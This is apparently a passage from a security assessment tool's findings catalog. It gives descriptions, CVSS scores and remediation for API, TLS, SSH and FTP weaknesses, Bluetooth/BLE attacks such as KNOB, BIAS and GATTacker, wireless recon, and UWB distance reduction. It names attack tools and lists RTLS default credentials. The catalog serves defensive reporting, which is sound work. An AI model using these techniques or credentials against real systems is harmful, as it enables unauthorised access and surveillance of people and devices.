Remediation: Define deterministic handling for duplicate parameters at every layer; reject or canonicalise repeated keys and perform validation only after canonicalisation.
Effort: Moderate
OWASP API: API8:2023 Security Misconfiguration
LOW SI-139 — Content-Type Confusion — Alternate Body Format Accepted
Description: An endpoint documented to consume JSON also accepted a request body in an alternate format (form-urlencoded), showing that the server does not enforce the declared request media type.
Impact: Accepting multiple body formats creates a parser-differential surface: validation, authentication, or WAF rules that only inspect the expected format can be bypassed by submitting an equivalent request in another format, and form-encoded acceptance can re-enable CSRF against otherwise JSON-only (CSRF-immune) endpoints.
Remediation: Enforce the expected Content-Type for each endpoint and reject requests whose body media type does not match the declared one.
Effort: Easy
OWASP API: API8:2023 Security Misconfiguration
LOW SI-144 — Server-Sent Events Stream Over Cleartext HTTP
Description: A Server-Sent Events stream is served over cleartext http:// rather than https://.
Impact: Pushed events traverse the network in cleartext and can be intercepted or modified by a network attacker, exposing real-time data and enabling injection of forged events.
Remediation: Serve event streams over HTTPS only.
Effort: Easy
OWASP API: API8:2023 Security Misconfiguration
LOW SI-145 — gRPC Server Reflection Exposed
Description: The gRPC server has server reflection enabled and enumerates its full set of services and methods to any client.
Impact: Exposed reflection discloses the complete RPC API surface (services, methods, message schemas) to unauthenticated attackers, removing the need to obtain .proto files and accelerating targeted attacks against internal/unintended methods.
Remediation: Disable gRPC server reflection in production builds; distribute service definitions only to authorized clients.
Effort: Easy
OWASP API: API9:2023 Improper Inventory Management
LOW SI-148 — Timing-Based Username Enumeration
Description: The login endpoint shows a measurable timing difference between valid and invalid username submissions. Non-constant-time credential comparison or early-exit logic exposes a timing side-channel that can be exploited for username enumeration.
Impact: An attacker can enumerate valid usernames by measuring response latency, even when error messages are generic. Statistical analysis of timing data can reliably distinguish valid from invalid accounts across multiple samples.
Remediation: Use constant-time comparison functions for credential checks. Hash all credentials before comparison regardless of user existence. Introduce artificial jitter to normalize response times.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A07:2025 Identification and Authentication Failures
OWASP API: API2:2023 Broken Authentication
NIST 800-53: IA-5
LOW SI-150 — Information Disclosure: Internal Hostname in API Response
Description: API response headers or body contain internal hostnames (e.g., *.local, *.internal, *.corp). Internal hostnames reveal network topology, naming conventions, and infrastructure details that should not be exposed to external consumers.
Impact: Leaked internal hostnames enable targeted SSRF attacks, DNS rebinding, and internal service enumeration. Knowing internal naming conventions helps attackers craft more effective social engineering and spear-phishing campaigns.
Remediation: Strip internal hostnames from response headers and error messages. Use a reverse proxy that rewrites backend identifiers. Configure application frameworks to suppress internal names in production.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2025 Security Misconfiguration
OWASP API: API8:2023 Security Misconfiguration
MITRE ATT&CK: T1018 (Discovery)
NIST 800-53: SC-8
LOW SI-152 — Excessive API Session Timeout
Description: API bearer tokens remain valid after extended periods of inactivity. The tested token was still accepted by the server after the configured check interval (default: 30 minutes). Excessive session timeouts increase the window for token theft and replay attacks.
Impact: Long-lived sessions give attackers more time to exploit stolen credentials. If a token is captured via XSS, MITM, or log file exposure, the attacker has a wider window to access the API before the token naturally expires.
Remediation: Set token expiration to 15-30 minutes for sensitive APIs. Use refresh token rotation for longer-lived sessions. Implement idle timeout detection server-side.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A07:2025 Identification and Authentication Failures
OWASP API: API2:2023 Broken Authentication
NIST 800-53: AC-12
PCI DSS 4: 8.2.8
LOW SI-160 — GraphQL Field Name Suggestions Enabled
Description: The GraphQL server returns 'Did you mean ...?' suggestions in error responses for misspelled field names, enabling schema reconstruction even when introspection is disabled.
Impact: Attackers can use automated tools (Clairvoyance, graphql-cop) to systematically reconstruct the full schema from error-message suggestions, bypassing introspection restrictions.
Remediation: Disable field suggestions in production. In Apollo Server: set validationRules to NoSchemaIntrospectionCustomRule and disable suggestions.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP API: API8:2023 Security Misconfiguration
LOW SI-166 — API Version Header Manipulation Yields Different Response
Description: The API accepts version negotiation headers (X-API-Version, Accept-Version, Api-Version) and returns different responses for different version values, indicating deprecated or beta versions may be accessible.
Impact: An attacker can access deprecated API versions that may have weaker security controls, missing authentication checks, or known vulnerabilities that were fixed in newer versions.
Remediation: Restrict API version negotiation. Disable access to deprecated API versions in production. Return 400 for unrecognized version headers.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP API: API8:2023 Security Misconfiguration
LOW SS-082 — Information Disclosure: Internal Hostname in HTTP Response
Description: The HTTP response contains internal hostnames matching common internal TLD patterns (.local, .internal, .corp, .lan, .intranet, .private, .home, .localdomain).
Impact: Internal hostname disclosure reveals the internal naming convention, domain structure, environment names (dev/staging/prod), and infrastructure layout. This aids reconnaissance and social engineering attacks.
Remediation: Remove internal hostnames from HTTP response headers, error pages, and application output. Use generic external-facing hostnames.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2021 Security Misconfiguration
MITRE ATT&CK: T1592 (Reconnaissance)
NIST 800-53: SC-28
PCI DSS 4: 6.4.1
LOW SS-085 — DNS Server Version Disclosed
Description: The DNS server discloses its version string via a CHAOS TXT query for version.bind.
Impact: Software version disclosure enables attackers to identify known vulnerabilities for the specific DNS server version and craft targeted exploits. BIND version disclosure is a common reconnaissance target.
Remediation: Configure the DNS server to suppress or fake version responses. For BIND: options { version "none"; }; For PowerDNS: server-id and version-string settings.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
MITRE ATT&CK: T1592.002 (Reconnaissance)
NIST 800-53: SC-28
PCI DSS 4: 2.2.2
LOW SS-089 — Information Disclosure: Internal Hostname in SAN
Description: The SSL/TLS certificate includes internal hostnames in its Subject Alternative Names, matching patterns like .local, .internal, .corp, .lan, .intranet, .private.
Impact: Internal hostnames in publicly accessible certificates disclose the internal naming scheme, domain structure, and potentially the existence of internal services. This aids network mapping and targeted attacks against internal infrastructure.
Remediation: Remove internal hostnames from the SAN list in certificates used on public-facing services. Use separate certificates for internal and external services.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2021 Security Misconfiguration
MITRE ATT&CK: T1592 (Reconnaissance)
NIST 800-53: SC-28
PCI DSS 4: 4.2.1
LOW SS3-025 — Information Disclosure: Web Server
Description: The HTTP Server response header discloses the web server software and version (e.g. Apache/2.4.51 or nginx/1.23.0). This aids reconnaissance and CVE lookup for attackers.
Remediation: Configure the web server to suppress or obscure the Server header. On Apache: ServerTokens Prod. On nginx: server_tokens off.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: OWASP-A05:2021
OWASP API: API8:2023 – Security Misconfiguration
MITRE ATT&CK: T1592.002 (Reconnaissance)
NIST 800-53: CM-7, SI-12
PCI DSS 4: 6.2.4
LOW SS3-084 — Default Webpage Detected
Description: The web server is serving a vendor or platform default welcome page (e.g., 'Apache2 Default Page', 'IIS Windows Server', 'nginx Default Page', 'It works!'). A default page indicates the web server was installed but not fully configured, and may indicate that additional default configurations, credentials, or directories are present. It also discloses the server platform and version to potential attackers.
Remediation: Remove the default web content and replace with application-specific content or a redirect. Disable or remove the default site configuration. Ensure server version information is suppressed in HTTP headers.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N
OWASP Web: OWASP-A05:2021
MITRE ATT&CK: T1590 (Reconnaissance)
NIST 800-53: CM-8, RA-2
PCI DSS 4: 12.5.1
LOW SS3-097 — SSL/TLS Certificate: Long Duration
Description: The TLS certificate has a validity period exceeding 398 days (approximately 13 months). Since September 2020, Apple, Google, and Mozilla enforce a maximum certificate validity of 398 days, and certificates with longer lifetimes will be rejected by current versions of Safari, Chrome, and Firefox. Longer validity periods also increase the exposure window if a private key is compromised, as the certificate cannot be superseded until it expires or is revoked.
Impact: Long-lived certificates increase the window of exposure if the private key is compromised. Industry best practice limits certificate lifetime to reduce the impact of key compromise and ensure regular rotation of cryptographic material.
Remediation: Replace the certificate with one having a validity period of 398 days or less. Configure automated certificate renewal (ACME/Let's Encrypt or vendor auto-renewal) to ensure certificates are routinely replaced before expiry. For new certificates, request 90-day validity where possible.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N
OWASP Web: OWASP-A02:2021
MITRE ATT&CK: T1552.004 (Credential Access)
NIST 800-53: SC-17, IA-5
PCI DSS 4: 4.2.1
LOW SS3-098 — SSL/TLS Certificate: Missing SAN
Description: The TLS certificate does not contain a Subject Alternative Name (SAN) extension. Since 2017, all major browsers require a SAN to be present and have deprecated reliance on the Common Name (CN) field for hostname validation. Certificates without a SAN will cause certificate validation errors in Chrome, Firefox, and Safari for any hostname validation, even if the CN matches. This is a certificate issuance and lifecycle management deficiency.
Impact: A certificate without Subject Alternative Names (SAN) relies solely on the Common Name field for hostname validation. Modern browsers require SAN entries and may reject CN-only certificates, causing service interruptions and security warnings.
Remediation: Replace the certificate with one that includes a valid Subject Alternative Name (SAN) extension containing the intended hostname(s). All modern CAs issue certificates with SAN by default. If using an internal CA, update the certificate template to include the SAN extension.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N
OWASP Web: OWASP-A02:2021
MITRE ATT&CK: T1552.004 (Credential Access)
NIST 800-53: SC-17, IA-5
PCI DSS 4: 4.2.1
LOW SS3-101 — SSL/TLS Session: Long Duration
Description: The TLS server allows session resumption with a session ticket lifetime or session cache timeout exceeding recommended limits (typically more than 24 hours for session tickets or more than 10 hours for session IDs). Long-lived TLS sessions extend the window during which a stolen session ticket or cached session key can be replayed by an attacker to resume a session without re-authenticating. This also limits the effectiveness of forward secrecy when session tickets are encrypted with a long-lived key.
Impact: Excessively long TLS session lifetimes increase the window for session resumption attacks and reduce the effectiveness of forward secrecy. Compromised session tickets remain valid for the entire session duration.
Remediation: Reduce TLS session ticket lifetime to a maximum of 24 hours. Rotate TLS session ticket encryption keys regularly (every 6-12 hours). Set the session cache timeout to a reasonable value. On nginx: ssl_session_timeout 1h; ssl_session_ticket_key rotation should be automated.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: OWASP-A02:2021
MITRE ATT&CK: T1040 (Credential Access)
NIST 800-53: SC-8, SC-28, CM-6
PCI DSS 4: 4.2.1, 2.2.4
LOW SS3-208 — FTP Brute Force Protection Not Detected
Description: The FTP server did not exhibit rate limiting, account lockout, or connection throttling after multiple rapid failed login attempts.
Impact: Without brute-force protection, an attacker can make unlimited credential guessing attempts against the FTP service at high speed. This significantly reduces the time required to compromise accounts through dictionary attacks or credential stuffing.
Remediation: Configure the FTP server to enforce connection rate limiting and account lockout after a threshold of failed login attempts. Most FTP servers (vsftpd, ProFTPD, Pure-FTPd) support MaxLoginAttempts or equivalent directives. Consider fail2ban as an additional layer.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A07:2021 – Identification and Authentication Failures
MITRE ATT&CK: T1110 (Credential Access)
NIST 800-53: AC-7, SI-4
PCI DSS 4: 8.3.4
LOW SS3-211 — SSH Password Authentication Enabled
Description: The SSH server accepts password-based authentication methods (password and/or keyboard-interactive) alongside public key authentication. Password authentication is susceptible to brute-force attacks and does not enforce multi-factor authentication.
Impact: An attacker can attempt password brute-force attacks against the SSH service. Even with strong passwords, password authentication lacks the cryptographic assurance of key-based authentication and is incompatible with most MFA implementations. Compliance frameworks including CIS Benchmarks and DISA STIGs mandate public-key-only SSH authentication.
Remediation: Disable PasswordAuthentication and ChallengeResponseAuthentication in /etc/ssh/sshd_config. Require public key authentication exclusively. CIS Benchmark and DISA STIG both mandate disabling password-based SSH login.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
MITRE ATT&CK: T1110 (Credential Access), T1078 (Initial Access)
NIST 800-53: IA-2, IA-5, CM-6
PCI DSS 4: 8.3.1, 2.2.4
INFO AETHB-001 — KNOB Attack — Bluetooth Entropy Reduction
Description: The Key Negotiation of Bluetooth (KNOB) attack allows an attacker in wireless range to force Bluetooth BR/EDR connections to use a 1-byte entropy key. The Bluetooth specification allows entropy negotiation during connection establishment via the LMP protocol without authentication or integrity protection. An unauthenticated attacker within radio range can inject a modified LMP_encryption_key_size_req packet forcing both devices to accept a single-byte encryption key, which can then be brute-forced in real time. All standard-compliant Bluetooth devices are affected unless the implementation enforces a minimum entropy of 7 or more bytes regardless of negotiated value.
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
INFO AETHB-002 — BIAS Attack — Bluetooth Impersonation and Authentication Bypass
Description: The Bluetooth Impersonation Attack (BIAS) exploits weaknesses in the Bluetooth Classic (BR/EDR) legacy secure connection authentication procedure. An attacker that knows the Bluetooth address of a previously paired device can impersonate that device by initiating a connection with a role switch before mutual authentication completes. The attack exploits the fact that the Bluetooth specification does not require mutual authentication when the legacy authentication procedure is used, and allows one side to downgrade to unauthenticated link-key derivation. A successful BIAS attack grants the attacker the ability to connect to a victim device posing as a trusted peer without knowledge of the link key.
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
INFO AETHB-003 — BLUFFS Attack — Forward Secrecy Broken in Bluetooth Sessions
Description: BLUFFS (Bluetooth Forward and Future Secrecy) is a set of six attacks against the Bluetooth session establishment procedure that break forward and future secrecy of Bluetooth sessions. The vulnerabilities stem from architectural flaws in the Bluetooth specification: session keys are derived from a single long-term secret (link key or LTK) and two nonces using a non-forward-secret key derivation function (KDF). An attacker who compromises a single session key can impersonate either Bluetooth device in past and future sessions without re-pairing. The attacks apply to both Bluetooth Classic and Bluetooth Low Energy, including Secure Connections mode.
CVSS Vector: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N
INFO AETHB-004 — BLE Legacy Pairing — Crackable Temporary Key (TK)
Description: Bluetooth Low Energy devices using the legacy pairing procedure (SMP v1) with Just Works or Passkey Entry methods are vulnerable to offline brute-force recovery of the Temporary Key (TK). In Just Works pairing, the TK is always 0x0000...0000 (128 bits of zeros), making passive capture sufficient to derive the Short-Term Key (STK) and subsequently the Long-Term Key (LTK). In Passkey Entry pairing, the TK is a 6-digit PIN (max 1,000,000 values) that can be brute-forced offline from a captured pairing exchange. The crackle tool automates this attack. Any passive observer within radio range during the pairing event can permanently decrypt the session.
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
INFO AETHB-005 — Bluetooth PIN Brute Force — Short PIN or Static Passkey
Description: Bluetooth Classic devices using the legacy PIN-based pairing procedure (pre-SSP) or BLE devices using Passkey Entry with predictable PINs are susceptible to brute-force or dictionary-based passkey recovery. Common vulnerabilities include: static PINs (e.g., '0000', '1234', '1111') hardcoded in firmware, PINs derived from device MAC address or serial number, and short PINs (4 digits or fewer) that reduce the keyspace to 10,000 values. An attacker that can observe or replay pairing exchanges can brute-force the PIN offline and decrypt all traffic protected with the derived link key.
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
INFO AETHB-006 — Unauthenticated GATT Characteristics — Sensitive Data Exposed Without Authentication
Description: One or more GATT characteristics exposing sensitive data (e.g., health metrics, device configuration, credentials, telemetry) are readable by any unauthenticated BLE central device within radio range. The ATT Read Request does not require the initiating device to prove identity or possess any shared secret. This allows an attacker to passively connect and read sensitive characteristic values without prior pairing or bonding. Affected characteristic types commonly include: battery level, device name, firmware version, configuration parameters, and domain-specific sensor data.
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
INFO AETHB-007 — GATT Write Without Response — Unauthenticated Command Injection
Description: One or more GATT characteristics support the Write Without Response (ATT_WRITE_CMD) operation without requiring an authenticated or encrypted connection. This allows any BLE device within range to send arbitrary command payloads to the target without authentication. Depending on the characteristic function, this may enable: device configuration modification, command injection into actuator logic, firmware update initiation, or denial-of-service via malformed payloads. Write Without Response is particularly dangerous because the central receives no ATT error response, making attack packets harder to detect.
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L
INFO AETHB-008 — BlueToolkit CVE Exploitation — Remote Code Execution via Known Bluetooth Stack CVE
Description: The target Bluetooth device is running a firmware or Bluetooth stack version affected by one or more publicly known CVEs for which proof-of-concept exploits are available in the BlueToolkit framework. BlueToolkit consolidates exploit implementations for vulnerabilities including BlueBorne (CVE-2017-0785, CVE-2017-0781), BLESA, SweynTooth, and related Bluetooth/BLE stack vulnerabilities. Exploitation may result in remote code execution, memory corruption, or full device takeover without any user interaction or prior pairing.
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
INFO AETHB-009 — SDP Information Disclosure — Service Discovery Leaks Internal Service Information
Description: The Bluetooth Service Discovery Protocol (SDP) on the target device responds to unauthenticated browse requests with detailed service records. The exposed records may include: internal service names and descriptions, protocol stack versions, RFCOMM channel assignments, OBEX service availability, PAN/NAP profile configuration, and device role information. This information assists attackers in identifying further attack surface, fingerprinting the device type and firmware version, and planning targeted exploitation of specific Bluetooth profiles.
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
INFO AETHB-010 — Bluetooth Eavesdropping — Passive Capture of Unencrypted BR/EDR Traffic
Description: Bluetooth Classic (BR/EDR) traffic between the target and one or more paired devices was observed in cleartext or with a known/recoverable session key. Using an Ubertooth One or similar hardware sniffer, an attacker within radio range can capture BR/EDR ACL and SCO frames. If the encryption key was negotiated with reduced entropy (see KNOB, AETHB-001) or a captured pairing exchange reveals the link key, all historical and future sessions can be decrypted. Sensitive data exposed may include: RFCOMM serial data, HFP audio streams, A2DP audio, OBEX file transfers, and HID input events.
CVSS Vector: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
INFO AETHB-011 — BLE Beacon Tracking — Static MAC Address Enables Persistent Device Tracking
Description: The target BLE device broadcasts advertising packets containing a static or non-rotating public MAC address, allowing any passive observer within radio range to persistently track the device's presence and movements over time. BLE devices are required by the specification to support random address rotation to prevent tracking; however, many IoT devices use fixed public addresses for simplicity or compatibility reasons. An attacker can build a timeline of device appearances at multiple locations using commercially available BLE scanning hardware, enabling physical surveillance of device owners.
CVSS Vector: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
INFO AETHB-012 — Insecure BLE Pairing Mode — Just Works Pairing with No Authentication
Description: The target BLE device accepts pairing using the Just Works association model, which provides no protection against man-in-the-middle attacks. In Just Works pairing, both devices compute a shared secret without any out-of-band or in-band confirmation that the correct peer is being paired. An attacker positioned between the two devices during the pairing event can silently intercept and relay the SMP exchange, completing the pairing with both devices and establishing themselves as a transparent MITM relay. The resulting bonded keys are then known to the attacker, enabling persistent session decryption.
CVSS Vector: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N
INFO AETHB-013 — GATTacker MITM — BLE Man-in-the-Middle via Device Cloning
Description: The target BLE device is susceptible to a man-in-the-middle attack using GATTacker, a tool that clones the GATT service and characteristic profile of the target and presents a spoofed advertising identity to the legitimate central device. When the central connects to the rogue peripheral (which mirrors all GATT reads/writes to the real target), the attacker observes and may modify all BLE application traffic in transit. Attack prerequisites include: the target uses Just Works or no pairing (AETHB-012), or the attacker was present during initial pairing to capture keys. The attacker can read sensitive characteristics, inject writes, and replay or modify commands without detection.
CVSS Vector: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N
INFO AETHB-014 — Bluetooth Denial of Service — ACL/SCO Flooding Causing Device Disconnect
Description: The target Bluetooth device is susceptible to denial-of-service via rapid ACL connection request flooding, malformed SCO packet injection, or L2CAP/RFCOMM protocol fuzzing. Sustained flooding of connection requests from spoofed source addresses exhausts the device's connection table, preventing legitimate devices from connecting. In some firmware implementations, receipt of malformed packets at the HCI or L2CAP layer causes device reset or service crash. Testing was conducted only after explicit authorization (dos_authorized=true in configuration).
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
INFO AETHB-015 — Firmware Extraction via JTAG/SWD — Physical Firmware Dump
Description: The target Bluetooth device exposes an unprotected JTAG or SWD debug interface on the PCB that allows extraction of the full firmware image using OpenOCD and a hardware debug probe. The extracted firmware can be reverse-engineered to recover: hardcoded Bluetooth link keys or LTKs, Wi-Fi/BLE credentials stored in flash, cryptographic secrets used for application-layer authentication, and intellectual property in the firmware binary. Debug port access was not locked via JTAG fuses or access port protection (APProtect/RDPROT). Testing was conducted only with physical_access=true in configuration and explicit written authorization.
CVSS Vector: CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
INFO AETHER-029 — Internal Hosts Discovered via Post-Connection Port Scan
Description: An nmap scan of the wireless subnet revealed live hosts and open services accessible to wireless clients. This establishes the attack surface available to any client (authorised or rogue) that connects to the wireless network. Services accessible from the wireless segment without additional segmentation represent a potential lateral movement path.
Remediation: Implement network segmentation: place the wireless network in a dedicated VLAN with firewall rules restricting access to internal services. Apply the principle of least privilege — wireless clients should only be able to reach services required for their function. Disable unnecessary services on hosts and implement host-based firewalls.
CVSS Vector: AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
INFO AETHER-CERT-006 — Server Certificate Uses Strong Modern Algorithm (Positive)
Description: The RADIUS server certificate uses SHA-256 or stronger signature, RSA-2048 or stronger (or ECDSA), is signed by a recognised public CA, is currently valid, and does not disclose internal infrastructure naming. Positive vendor security observation.
Impact: Confirms the cryptographic posture of the wireless authentication infrastructure meets current standards. Reduces the value of cert-based attacks (key cracking, downgrade) to negligible.
Remediation: Maintain the current certificate-management posture. Document the issuance procedure in the operations runbook to ensure replacements maintain the same standards.
Effort: n/a
INFO AETHER-INFO-AP — AP Observed and Cataloged
Description: An access point was observed during the wireless intelligence phase and recorded with its BSSID, SSID, channel, encryption, authentication type, signal power, and vendor classification.
Impact: Per-AP attribution for engagement evidence. Every other AP-targeting finding cross-references this catalog entry.
Remediation: No action — informational only.
Effort: n/a
INFO AETHER-INFO-AUTH-TYPE — Authentication Type Classified
Description: The advertised encryption and authentication mode for an SSID was classified into one of: OPEN, WEP, WPA2-PSK, WPA2-Enterprise, WPA3-SAE, WPA3-Enterprise, WPA2/WPA3-Transition, or iPSK-Suspected.
Impact: Drives test selection for each SSID. Engagement reports the auth type for every observed SSID as part of the wireless inventory.
Remediation: No action — informational only. Review the auth type distribution across the deployment for consistency with the documented security architecture.
Effort: n/a
INFO AETHER-INFO-CERT-CAPTURED — Server Certificate Captured From EAP Exchange
Description: A server certificate presented during an EAP-TLS / PEAP / TTLS exchange was captured passively from observed wireless traffic and exported for analysis. This is the data-gathering step for the cert-grading findings (AETHER-CERT-001 through 006).
Impact: Provides engagement-evidence attribution for any cert-related finding emitted. Confirms the cert chain was visible to a passive on-path observer (which is normal for TLS server certs but worth recording).
Remediation: No action required — informational only. Cross-reference with findings AETHER-CERT-001 through AETHER-CERT-006 for the grading outcome.
Effort: n/a
INFO AETHER-INFO-CHANNEL — Channel Allocation Observed
Description: An AP's operating channel was observed during scanning. Recorded for spectrum-planning analysis and for documentation of the engagement scan coverage.
Impact: Supports physical-deployment understanding (channel reuse, congestion, 2.4 vs 5 GHz coverage).
Remediation: No action — informational only.
Effort: n/a
INFO AETHER-INFO-CLIENT — Client Device Observed and Cataloged
Description: A client (STA) device was observed associated to a target AP or actively probing for SSIDs. Catalogued with MAC, vendor OUI, associated BSSID/SSID, and any SSIDs the client has been probing for.
Impact: Per-client attribution for engagement evidence. Drives the probe-harvest and Karma-attack analyses.
Remediation: No action — informational only.
Effort: n/a
INFO AETHER-INFO-EAP-IDENTITY — EAP Outer Identity Observed
Description: The outer (cleartext) EAP-Response/Identity value sent by a client at the start of an EAP exchange was observed. Recorded for analysis (see AETHER-EAPTLS-001 for the user-realm-format-leak grading).
Impact: Provides per-EAP-transaction attribution for the identity-leak findings.
Remediation: No action — informational. Cross-reference with AETHER-EAPTLS-001 for the grading outcome.
Effort: n/a
INFO AETHER-INFO-PROBE — Client Probe Request Observed
Description: A client device sent a probe request asking for a specific SSID. Probed SSIDs reveal the client's Preferred Network List — useful for Karma attacks and for assessing employees' personal device-to-corporate-network proximity.
Impact: Builds the input set for Karma-style opportunistic AP responses. Reveals corporate device usage patterns (e.g., probes for home networks, conference networks, partner-org networks).
Remediation: Configure clients to disable probe requests for hidden/saved networks where possible. On Windows: Use 'Connect even if the network is not broadcasting' = OFF. On iOS / Android: enable MAC randomization for unsaved networks (default in current OS versions).
Effort: n/a
INFO AETHER-INFO-VENDOR — Vendor Identified via MAC OUI
Description: The MAC OUI of an observed device was matched against the IEEE OUI database to identify the manufacturer and product line.
Impact: Provides asset-inventory context. Concentrations of specific vendor MACs help identify managed device fleets vs. BYOD.
Remediation: No action — informational only.
Effort: n/a
INFO AETHER-MERAKI-001 — Meraki Infrastructure Identified
Description: One or more wireless APs in scope identified as Cisco-Meraki by MAC OUI prefix or vendor-specific IE pattern. Contextual recon — establishes the vendor / product family for the rest of the assessment.
Impact: Drives vendor-specific test selection (iPSK testing, Systems Manager enrollment recon, Meraki-specific firmware advisories cross-reference).
Remediation: No action required — informational only. Cross-reference with the Meraki advisory feed for the identified product line to verify the firmware in use is patched against known issues.
Effort: n/a
INFO AETHER-MERAKI-002 — Meraki Beacon IE Captured for Fingerprinting
Description: The vendor-specific Information Element from a Meraki AP beacon was captured for offline fingerprinting / firmware-version identification. Most modern Meraki firmware reveals its major version family in beacon IE patterns.
Impact: Drives the next finding (Meraki firmware version) by allowing offline cross-reference against Cisco's firmware advisory database.
Remediation: No action — informational only.
Effort: n/a
INFO AETHER-MERAKI-003 — Multiple SSIDs On Shared Physical AP
Description: Multiple SSIDs share a common BSSID prefix, indicating they are virtual SSIDs on the same physical Meraki AP radio. If any single SSID's security is weaker than the others, an attacker who compromises the weak SSID may pivot to wireless infrastructure shared with the cert-auth SSIDs.
Impact: Informational on its own; gains weight when paired with successful attacks against any of the listed SSIDs. Useful context for VLAN-isolation testing (an adjacent PSK SSID succeeding combined with shared-AP infrastructure is a HIGH risk path).
Remediation: Verify VLAN isolation between all SSIDs on the same physical AP. Test from the weakest SSID to ensure no lateral movement is possible to the cert-auth segment.
Effort: n/a
INFO AETHER-MERAKI-004 — Meraki Systems Manager Domain Referenced in Client Traffic
Description: Client DHCP/DNS probe analysis observed references to meraki.com, air-marshal.meraki.com, or Meraki Systems Manager enrollment URLs. Confirms Meraki cloud management is in use and SM-enrolled devices are present.
Impact: Provides context for the cloud-management plane that complements the device-side wireless assessment. SM-enrolled devices have cert-based EAP-TLS supplicant configurations distributed via the SM profile.
Remediation: No action — informational only.
Effort: n/a
INFO AETHU-001 — Ghost Peak Distance Reduction Attack
Description: The Ghost Peak attack is a physical-layer distance reduction attack targeting IEEE 802.15.4z HRP UWB ranging. An attacker positioned within RF range injects an early leading pulse into the Two-Way Ranging (TWR) exchange, causing the victim receiver to latch onto the injected pulse rather than the authentic signal, thereby reporting a measured distance significantly shorter than the true physical separation. This attack succeeds without breaking any cryptographic mechanism and was demonstrated to work against DW1000 and DW3000 chip families in published research from 2022. Affected systems include Apple AirTag-like access control implementations, automotive CCC Digital Key systems, and any RTLS deploying HRP UWB without pulse-shape authentication. The consequence is that physical access controls relying on UWB proximity can be bypassed entirely — for example, a vehicle keyless entry system can be unlocked from tens of meters away while the chip reports centimetre-level proximity.
CVSS Vector: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N
INFO AETHU-002 — RTLS Management Console Default Credentials
Description: The RTLS management console (Sewio RTLS Studio, Pozyx Creator, or equivalent) is accessible with factory-default credentials such as admin/admin, admin/sewio, or admin/pozyx. Default credentials are frequently left unchanged during deployment as operators rely on network segmentation rather than strong authentication. An unauthenticated remote attacker who can reach the management interface over the network gains full administrative control of the RTLS infrastructure, including the ability to modify anchor configurations, alter zone boundaries, extract all tracked position data, and inject false location records. This vulnerability has a trivially low attack complexity and requires no prior knowledge of the target environment beyond the platform type.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
INFO AETHU-003 — Unauthenticated MQTT Broker
Description: The MQTT broker used by the RTLS platform accepts connections on TCP port 1883 without requiring a username or password, exposing a full publish/subscribe channel to any network-accessible client. Real-time position data for all tracked tags — including tag IDs, X/Y/Z coordinates, zone assignments, velocity vectors, and floor-plan identifiers — is streamed continuously over unauthenticated MQTT topics. An attacker who connects to the broker gains complete visibility into the physical location of every tracked person or asset in real time, enabling surveillance, operational intelligence gathering, and targeted physical attacks. Additionally, unauthenticated write access to the broker allows injection of fabricated position updates that will be consumed by downstream business applications.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
